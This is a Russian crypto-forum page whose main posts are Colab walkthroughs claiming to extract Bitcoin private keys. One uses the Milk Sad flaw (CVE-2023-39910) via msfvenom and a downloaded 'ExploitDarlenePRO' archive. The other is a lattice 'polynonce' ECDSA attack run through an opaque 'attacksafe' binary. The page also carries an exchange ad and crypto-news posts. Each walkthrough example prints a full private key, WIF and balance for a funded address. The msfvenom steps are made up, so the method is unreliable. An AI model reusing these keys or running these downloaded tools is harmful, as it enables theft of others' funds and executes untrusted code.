Colab !sudo apt install ruby-full !ruby --version Версия ruby 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu] !gem install bitcoin-ruby !gem install ecdsa !gem install base58 !gem install crypto !gem install config-hash -v 0.9.0 Установим Metasploit Framework и воспользуемся MSFVenom !git clone https://github.com/rapid7/metasploit-framework.git ls cd metasploit-framework/ ls Опции: !./msfvenom -help Откроем обнаруженную уязвимость CVE-2023-39910 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-39910 Откроем код: https://github.com/libbitcoin/libbitcoin-system/blob/a1b777fc51d9c04e0c7a1dec5cc746b82a6afe64/src/crypto/pseudo_random.cpp#L66C12-L78 libbitcoin-system Bitcoin Cross-Platform C++ Development Toolkit https://github.com/libbitcoin/libbitcoin-system.git Установим libbitcoin-system в Google Colab: !git clone https://github.com/libbitcoin/libbitcoin-system.git ls Откроем уязвимый файл: pseudo_random.cpp через утилиту cat cat libbitcoin-system/src/crypto/pseudo_random.cpp Откроем папки по каталогу: /modules/exploits/ ExploitDarlenePRO Загрузим "ExploitDarlenePRO" по каталогу: /modules/exploits/ cd modules/ ls cd exploits/ !wget https://darlene.pro/repository/e8e4973fb52934d5fb0006a47304f5099701000619d9ac79c083664e6063c579/ExploitDarlenePRO.zip Разархивируем содержимое ExploitDarlenePRO.zip через утилиту unzip !unzip ExploitDarlenePRO.zip Перейдем по каталогу: /ExploitDarlenePRO/ ls cd ExploitDarlenePRO/ ls Для запуска эксплойта перейдем обратно к Metasploit Framework cd / cd content/metasploit-framework/ ls Нам необходимо определить наш LHOST (Local Host) наш IP-address атакующей виртуальной машины. Запустим команды: !ip addr !hostname -I Воспользуемся инструментом для создания полезной нагрузки MSFVenom Для эксплуатации выбираем Биткоин Кошелек: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 https://btc1.trezor.io/address/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 Команда запуска: !./msfvenom 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp Результат: 1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011 Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo Команда: !echo '1100001100100111111110101100011000111101101101111110000011001100110100010111000001101100000000111110101101011011111000001101101100101010101100111110001101111010010001010001101110000100000001010100000100000000110110000101111100110001010011100000111110001011' > binary.txt Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька: Воспользуемся кодом: binaryFile = open("binary.txt", "r") binaryFile = binaryFile.readlines() hexFile = open("hex.txt", "w+") # loop through each line of binaryFile then convert and write to hexFile for line in binaryFile: binaryCode = line.replace(" ", "") hexCode = hex(int(binaryCode, 2)) hexCode = hexCode.replace("0x", "").upper().zfill(4) hexFile.write(hexCode + "\n") # close hexFile hexFile.close() Откроем файл: hex.txt cat hex.txt C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B Приватный Ключ Найден! Установим модуль Bitcoin !pip3 install bitcoin Запустим код для проверки соответствие Биткоин Адреса: from bitcoin import * with open("hex.txt","r") as f: content = f.readlines() # you may also want to remove whitespace characters like `\n` at the end of each line content = [x.strip() for x in content] f.close() outfile = open("privtoaddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем файл: privtoaddr.txt cat privtoaddr.txt Результат: C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B:12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 Откроем bitaddress и проверим: ADDR: 12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 WIF: L3m4xHPEnE2yM1JVAY2xTzraJsyPERxw2Htt3bszbTiDn5JiZCcy HEX: C327FAC63DB7E0CCD1706C03EB5BE0DB2AB3E37A451B84054100D85F314E0F8B https://www.blockchain.com/en/explorer/addresses/btc/12iBrqVPpQ2oNeDgJu1F8RtoH1TsD1brU2 BALANCE: $ 40886.76 Рассмотрим второй пример: №2 Рассмотрим второй пример извлечение приватного ключа Биткоин Кошелька с помощью уязвимости в библиотеке Libbitcoin Explorer 3.x, https://btc1.trezor.io/address/1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe Снова воспользуемся уязвимым файлом: pseudo_random.cpp Команда запуска: !./msfvenom 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o main.rb -p libbitcoin-system/src/crypto LHOST=172.28.0.12 -f CPP -o pseudo_random.cpp Результат: 111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100 Полученный бинарный формат нам необходимо сохранить в файл: binary.txt воспользуемся утилитой echo Команда: !echo '111100100010010000111110010011001000101100111100000101110100001001100001011010111111110110111111100001000100011111001010000011011101001000101000100001100111001010100110101101001100011001001111101101010000000011101101111111110101101110110100110000110111100' > binary.txt Конвертируем бинарный формат в HEX-формат для получение приватного ключа Биткоин Кошелька: Воспользуемся кодом: binaryFile = open("binary.txt", "r") binaryFile = binaryFile.readlines() hexFile = open("hex.txt", "w+") # loop through each line of binaryFile then convert and write to hexFile for line in binaryFile: binaryCode = line.replace(" ", "") hexCode = hex(int(binaryCode, 2)) hexCode = hexCode.replace("0x", "").upper().zfill(4) hexFile.write(hexCode + "\n") # close hexFile hexFile.close() Откроем файл: hex.txt cat hex.txt 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC Приватный Ключ Найден! Запустим код для проверки соответствие Биткоин Адреса: from bitcoin import * with open("hex.txt","r") as f: content = f.readlines() # you may also want to remove whitespace characters like `\n` at the end of each line content = [x.strip() for x in content] f.close() outfile = open("privtoaddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем файл: privtoaddr.txt cat privtoaddr.txt 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC:1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe Результат: 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC:1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe Откроем bitaddress и проверим: ADDR: 1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe WIF: L1H4Eu2et8TWYQ3kv9grtPGshikGN398MVJkN6zYMikcpQTB96UN HEX: 79121F26459E0BA130B5FEDFC223E506E9144339535A6327DA8076FFADDA61BC https://www.blockchain.com/en/explorer/addresses/btc/1GTBJsQvduQvJ6S6Cv6CsYA2Adj65aDRwe BALANCE: $ 19886.91 References: [1] Mersenne Twister – A Pseudo Random Number Generator and its Variants (Archana Jagannatam) [2] RFC 8682 TinyMT32 Pseudorandom Number Generator [PRNG] (M. Saito Hiroshima University M. Matsumoto Hiroshima University V. Roca, Ed. INRIA E. Baccelli) [3] Introduction to Mersenne Twister Pseudorandom number generator Qiao Zhou [June 30, 2016] [4] High-Performance Pseudo-Random Number Generation on Graphics Processing Units (Nimalan Nandapalan , Richard P. Brent , Lawrence M. Murray , and Alistair Rendell) [5] The Mersenne Twister Output Stream Postprocessing (Yurii Shcherbyna , Nadiia Kazakova , Oleksii Fraze-Frazenko) [6] Cellular Automaton–Based Emulation of the Mersenne Twister (Kamalika Bhattacharjee, Nitin More, Shobhit Kumar Singh, Nikhil Verma) [7] Generating Efficient and High-Quality Pseudo-Random Behavior on Automata Processors (Jack Wadden, Nathan Brunelle, Ke Wang, Mohamed El-Hadedy, Gabriel Robins, Mircea Stan and Kevin Skadron) Исходный код Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/YMdb7_iboaA Источник: https://cryptodeep.ru/milk-sad-vulnerability-in-libbitcoin-explorer Криптоанализ
-
- Закрытыйключ
- Криптография
- (and 8 more)
-
Всем доброго времени суток Онлайн-обменник «Pyatachokpro» - это сервис быстрого обмена в популярных направлениях Bitcoin, Ethereum, Tether и других криптовалют по актуальному курсу. Адекватная техническая поддержка, в течении 15 минут выполняются заявки, так же присутствует партнерская программа, воспользовавшись преимуществами которых, вы сможете совершать обмен на более выгодных условиях. При обмене курс фиксируется на момент создания заявки, нет никаких скрытых комиссий. Официальный сайт: pyatachokpro Режим работы: 24/7 При обмене курс фиксируется на момент создания заявки, нет никаких скрытых комиссий. Наш Telegram : @pyatachokobmen Почта : pyatachokobmen@mail.ru
-
"Наслаждайтесь" новым законом о крипте. Или бегите с централизованных бирж
Milutin Stanoevich posted a blog entry in Evraz
По заявлению Управления по финансовому надзору Соединенного Королевства, компании, занимающиеся криптоактивами, работающие в стране, будут обязаны соблюдать так называемые “Правила поездок” (Travel Rule) разработанные FATF, начиная с 1 сентября 2023 года. В сообщении сказано, что все компании, занимающиеся криптоактивами, должны будут предпринять “все разумные шаги” для обеспечения соблюдения “Правил поездок”. Когда правило вступит в силу, соблюдение правила по-прежнему ожидается, даже если бизнес, занимающийся криптоактивами, использует стороннего поставщика. Что это значит для каждого владельца криптовалюты? Согласно требованиям Crypto Travel Rule, выпущенным Международной группой разработки финансовых мер борьбы с отмыванием денег (FATF), поставщики услуг виртуальных активов (VASP) должны раскрывать информацию о сторонах, участвующих в транзакциях на сумму более $1 000. Другими словами, с 1 сентября вы не сможете перевести например со своего биржевого аккаунта любую криптовалюту, рыночная цена которой превышает $1000 на автономный или анонимный кошелек. Биржа должна точно знать, кому именно вы переводите крипту. Для получателя необходимо пройти полную процедуру KYC, сообщить свои паспортные данные, налоговый номер и подтвердить владение кошельком, на который переводится криптовалюта в объеме более, чем на $1000. в противном случае, ваш крипто обменник или биржа просто не выпустит этот платёж. Причем не важно в какой юрисдикции находится получатель. Он даже может находиться в стране, которая не подписывала соглашения с FATF и не принимала Travel Rule. В таком случае операция автоматически относится к подозрительной и должна быть заблокирована поставщиком услуг (VASP). Если вы думаете, что вас это не коснется, то зря. До сих пор вы спокойно выводили принадлежащую вам криптовалюту на любые кошельки, не особо волнуясь, есть ли у этого кошелька или его владельца KYC, но с 1 сентября это будет невозможно сделать. Ваша любимая биржа Binance уже с гордостью отчиталась, что внедрила на своей платформе правила Travel Rule в полном объёме. О чем есть соответствующее объявление на официальном сайте биржи. Таким образом, если вы перевели средства на биржу, поторговали, сделали как всегда свои обычные иксы и просто собираетесь вывести крипту себе на Трезор, то с 1 сентября сможете вывести не более $1000. И не важно, что пока речь идёт о компаниях, работающих в Великобритании. Нормы FATF поддерживаются всеми странами-членами FATF, а их 33, включая Россию: 1. Австралия; 2. Австрия; 3. Аргентина; 4. Бельгия; 5. Бразилия; 6. Германия; 7. Гонконг; 8. Греция; 9. Дания; 10. Европейская комиссия; 11. Ирландия; 12. Исландия; 13. Испания; 14. Италия; 15. Канада; 16. Люксембург; 17. Мексика; 18. Нидерланды; 19. Новая Зеландия; 20. Норвегия; 21. Португалия; 22. Россия; 23. Сингапур; 24. Совет стран сотрудничества Персидского залива; 25. Соединенное Королевство; 26. Соединенные Штаты; 27. Турция; 28. Финляндия; 29. Франция; 30. Швейцария; 31. Швеция; 32. Южная Африка; 33. Япония. А что если вы живёте в стране, не подписавшей соглашение с FATF? В таком случае по логике FATF - вы террорист и платеж всё равно будет заблокирован. Наслаждайтесь порядком и законом.- 4 comments
-
1
-
- Криптовалютa
- Блокчейн
-
(and 6 more)
Tagged with:
-
Добрый вечер! Начало регулярной рубрики «Криптоновости», которые будут выходить 2 раза в неделю. Если спотовый биткоин-ETF будет одобрен в США, капитализация криптовалютного рынка увеличится на $1 трлн, согласно оценкам аналитиков из CryptoQuant. Эксперты указывают, что это событие будет способствовать привлечению институциональных инвесторов, и вероятность его осуществления увеличивается после победы Ripple и Grayscale над SEC. Это может произойти к марту 2024 года, когда истекает срок принятия решений по заявкам. Аналитики ссылались на динамику MVRV с 2013 года при формировании своих оценок. В настоящее время рыночная капитализация составляет 545 млрд, ареализованная капитализация−545 млрд. Специалисты предсказывают, что реализованная капитализация увеличится с ростом покупок биткоинов по более высоким ценам, в то время как рыночная капитализация будет расти быстрее, так как она отражает цену всех монет. Специалисты учитывают, что во времена бычьих рынков "эластичность" составляла от 3 до 6. Поэтому, приток 150 млрд на рынок может привести к росту капитализации на 82−165 млрд. В октябре CryptoQuant указали на потенциал роста биткоина после закрепления выше $27 900. Глава SEC, Гэри Генслер, заявил в сентябре, что ведомство продолжает изучать решение суда по делу Grayscale и многочисленные заявки на спотовые биржевые фонды на базе цифрового золота. Экс-директор BlackRock, Стивен Шонфилд, предположил, что SEC одобрит биткоин-ETF в течение трех-шести месяцев. А вы что думаете?
- 2 replies
-
- Криптовалютa
- биткоин
-
(and 2 more)
Tagged with:
-
CRYPTO DEEP TECH В наших самых ранних работах мы опубликовали статью на тему “LATTICE ATTACK” как полноценное решение HNP [Hidden Number Problem], но с недавним появлением новой атаки “POLYNONCE ATTACK”, мы решили дополнить статью с использованием 79 signatures ECDSA. Исходя из прошлой статьи, где за полиному мы брали 128 bits и с фактическим увеличение количество подписей мы приблизим значение полиномы до 249 bits. За теоретическую основу мы будем брать материалы: “Lattice Attack on Bitcoin” https://attacksafe.ru/lattice-attack-on-bitcoin 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z 6a941396b28a72ac834d922165995e6685a760f884dbb9e8b6dea95b01f0aae8 RawTX "hex": 010000000afa0765dc83c2e04b53a03ad9f5e7603f974c5a70e7a486bc957e72809facab7b2d0000006a4730440220746bd0443317a77c069bddae306dc658ec740bb1a6312bdcb4ce666bae42e988022066c34dd48f0e34ae4aefd28564f46fb7473d0b49d55adb716b9f04e663d0a9890121033ee89b98b1d6e71285314e1d1c753003a7a80c17f46146a91077006c76e25e7affffffff................................ Загрузим файл: LATTICE_ATTACK_249bits.ipynb Скачаем HEX-данные через утилиту wget и сохраним в файл: RawTX.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example1/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Чтобы реализовать атаку мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE” www.attacksafe.ru/software Права доступа: !chmod +x attacksafe ls Применение: !./attacksafe -help -version: software version -list: list of bitcoin attacks -tool: indicate the attack -gpu: enable gpu -time: work timeout -server: server mode -port: server port -open: open file -save: save file -search: vulnerability search -stop: stop at mode -max: maximum quantity in mode -min: minimum quantity per mode -speed: boost speed for mode -range: specific range -crack: crack mode -field: starting field -point: starting point -inject: injection regimen -decode: decoding mode !./attacksafe -version Version 5.3.4. [ATTACKSAFE SOFTWARE, © 2023] Запустим список всех атак: !./attacksafe -list Выберем -tool: lattice_attack Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv Для того чтобы рассчитать приватный ключ к Биткоин Кошельку из файла SignatureRSZ.csv мы установим SageMath !wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 !tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2 cd SageMath/ ls !python3 relocate-once.py !mv '/content/attacksafe' '/content/SageMath/attacksafe' !mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv' ls !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/crack_weak_ECDSA_nonces_with_LLL.py !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941 Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example1/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: !pip3 install bitcoin from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() 9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941:19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z Откроем bitaddress и проверим: ADDR: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z WIF: L2PhDrYZw6fWqeLZMnMeAXvxZ47MEnepaQVLL2EazbRhqesytoQB HEX: 9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941 https://www.blockchain.com/en/explorer/addresses/btc/19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z BALANCE: $ 1015.58 Рассмотрим остальные примеры: №2 1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z 9130c5b8e92f37d3a58dcae16daa27625cc52b698a83af7c8b891f01bfa0b2af RawTX "hex": 0100000041e981df9d37a7af6f5ee77abade3ec58acbf864f942bdecb63ea2efa593e2c3391f0000006b4830450221009d8ceef05e2fa0a623811df57265a3678f902e81dc82c3862d12bbb07b90de18022036bbed961b4f8665eb3fb3047a1398a1aeae519a8e2a1a97de57863fc0cc4a380121029755a17bf76237cde9e05fc333a255b926d526a7763abe725a4f6253ebdae109ffffffff.............................. !rm HEX.txt !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example2/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0x00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example2/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z WIF: KwFNhRPDpgD5X77T8x5oL628aHh9UtscwwrLjGBKE8NeLshYvAqC HEX: 00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d https://www.blockchain.com/en/explorer/addresses/btc/1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z BALANCE: $ 999.10 Рассмотрим остальные примеры: №3 18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz 0b21368bb6e6658adf4079b5ca6e7286c6e13471acef879168e7c17809476c76 RawTX "hex": 0100000041c7a8d97168ee154550f5e43b9074e5f357a4dc6b2350c96f75e377df0a39b9fa210000006b48304502210097d6b896929d77634b8d9430bc2842209cad42bb236c408e18470b9fd86b3d6a0220684ac14228c4adaa9df819e7fc8e82cf3c4242b74e27f5dd190d63231e8a058a012102990a280aef14e545b9b076b6548a4e886476d967e447bb69efcf0b725efda04effffffff.............................. !rm HEX.txt !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example3/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0x80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5 Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example3/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz WIF: L1YFTAP2X6jhi9W6ZVy2xX8H89TYwZcgSKcPLX7NmAx3n8PjqDkU HEX: 80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5 https://www.blockchain.com/en/explorer/addresses/btc/18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz BALANCE: $ 1023.25 №4 12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor 6e6d84bc92cd79fba2d1eee5fb47e393896d44f666a50d4948a022751e3f0989 RawTX "hex": 01000000418ff67c7d3309211ab9d9629d97bbac7730d3cbb419df4ec43d2c5fc4f81bbefb1b0000006b4830450221008c223861acf1f265547eddb04a7cf98d206643a05824e56e97c70beddd18eaf20220139a34bf077a1fdb15e716d765955203e746616dfe8bf536b86d259b5c8a09b8012103c50b5619a40a23ff6a5510238405b8efd3f8f1bc442e1a415b25078b4cbd88e3ffffffff.............................. !rm HEX.txt !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example4/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0x9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32 Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example4/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() Откроем bitaddress и проверим: ADDR: 12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor WIF: L2Xbaxg8QFoLn5URp7GKMyLwEN9dV5TtgpdbXYo7WDJsHZLcT898 HEX: 9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32 https://www.blockchain.com/en/explorer/addresses/btc/12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor BALANCE: $ 406.03 №5 1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN 8a00ad0cc10d768d6d2b407f99879e556e5fc2917b619cb9a551675b7682a791 RawTX "hex": "01000000fdf4014f7e4a72ecb9a3ed21a82a42b3127da87bdfee7c10779688dd8a38977cb80ece000000006a4730440220423f7cffadd494fb0148d509e67598b3c8d7f54695ee3830184adc2af234d5cf022005ebe83773bc81c7131fd0580350a998adde20fee6fd2d1da40a0191fea8242c0121027a2250a80a31965e928afff97d1c713e7ce70e6eb7c7491404a79991bfc6b5c1ffffffff........................... !rm HEX.txt !rm RawTX.txt !rm NoncesHEX.txt !rm PrivateKey.txt !rm SignatureRSZ.csv !rm PrivateKeyAddr.txt !wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example5/HEX.txt with open("HEX.txt") as myfile: listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile) f = open("RawTX.txt", 'w') f.write("" + listfile + "" + "\n") f.close() Запустим -tool lattice_attack используя программное обеспечение “ATTACKSAFE SOFTWARE” !./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv Мы запустили данную атаку из -tool lattice_attack и результат сохранился в файл SignatureRSZ.csv Теперь чтобы посмотреть успешный результат откроем файл SignatureRSZ.csv !./sage -sh python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt cat PrivateKey.txt Мы получили приватный ключ к Биткоин Кошельку в HEX формате PrivKey = 0xe2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2 Проверим POLYNONCE для каждой подписи ECDSA https://github.com/demining/CryptoDeepTools/blob/main/21LatticeAttack/example5/POLYNONCE.py Результат: Благодаря значение на кривой secp256k1 от Hal Finney LAMBDA и BETA раскрыл нам одинаковые первоначальные биты. Значение POLYNONCE в формате HEX нам позволяет полноценно решить проблему скрытых чисел получить приватный ключ и восстановить Биткоин Кошелек. Проверим HEX приватного ключа: from bitcoin import * with open("PrivateKey.txt","r") as f: content = f.readlines() content = [x.strip() for x in content] f.close() outfile = open("PrivateKeyAddr.txt","w") for x in content: outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n") outfile.close() e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2:1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN Откроем bitaddress и проверим: ADDR: 1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN WIF: L4porgUmuBkMbATA6Pp7r8uqShFt2zTPNEfuPNYi1BCym4hhV8gs HEX: e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2 https://www.blockchain.com/en/explorer/addresses/btc/1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN BALANCE: $ 995.39 Literature: Lattice Attacks against Elliptic-Curve Signatures with Blinded Scalar Multiplication Dahmun Goudarzi , Matthieu Rivain , and Damien Vergnaud CryptoExperts, Paris, France Biased Nonce Sense: Lattice Attacks against Weak ECDSA Signatures in Cryptocurrencies Joachim Breitner and Nadia Heninger DFINITY Foundation, Zug University of California, San Diego Return of the Hidden Number Problem A Widespread and Novel Key Extraction Attack on ECDSA and DSA Keegan Ryan Minerva: The curse of ECDSA nonces Systematic analysis of lattice attacks on noisy leakage of bit-length of ECDSA nonces Ján Jančár , Vladimír Sedláček , Petr Švenda and Marek Sýs Masaryk University, Ca’ Foscari University of Venice Estimating the Effectiveness of Lattice Attacks Kotaro Abe and Makoto Ikeda School of Engineering, The University of Tokyo, Tokyo, Japan Исходный код ATTACKSAFE SOFTWARE Telegram: https://t.me/cryptodeeptech Видеоматериал: https://youtu.be/CzaHitewN-4 Источник: https://cryptodeep.ru/lattice-attack-249bits Криптоанализ
-
- Закрытыйключ
- Криптография
- (and 8 more)
-
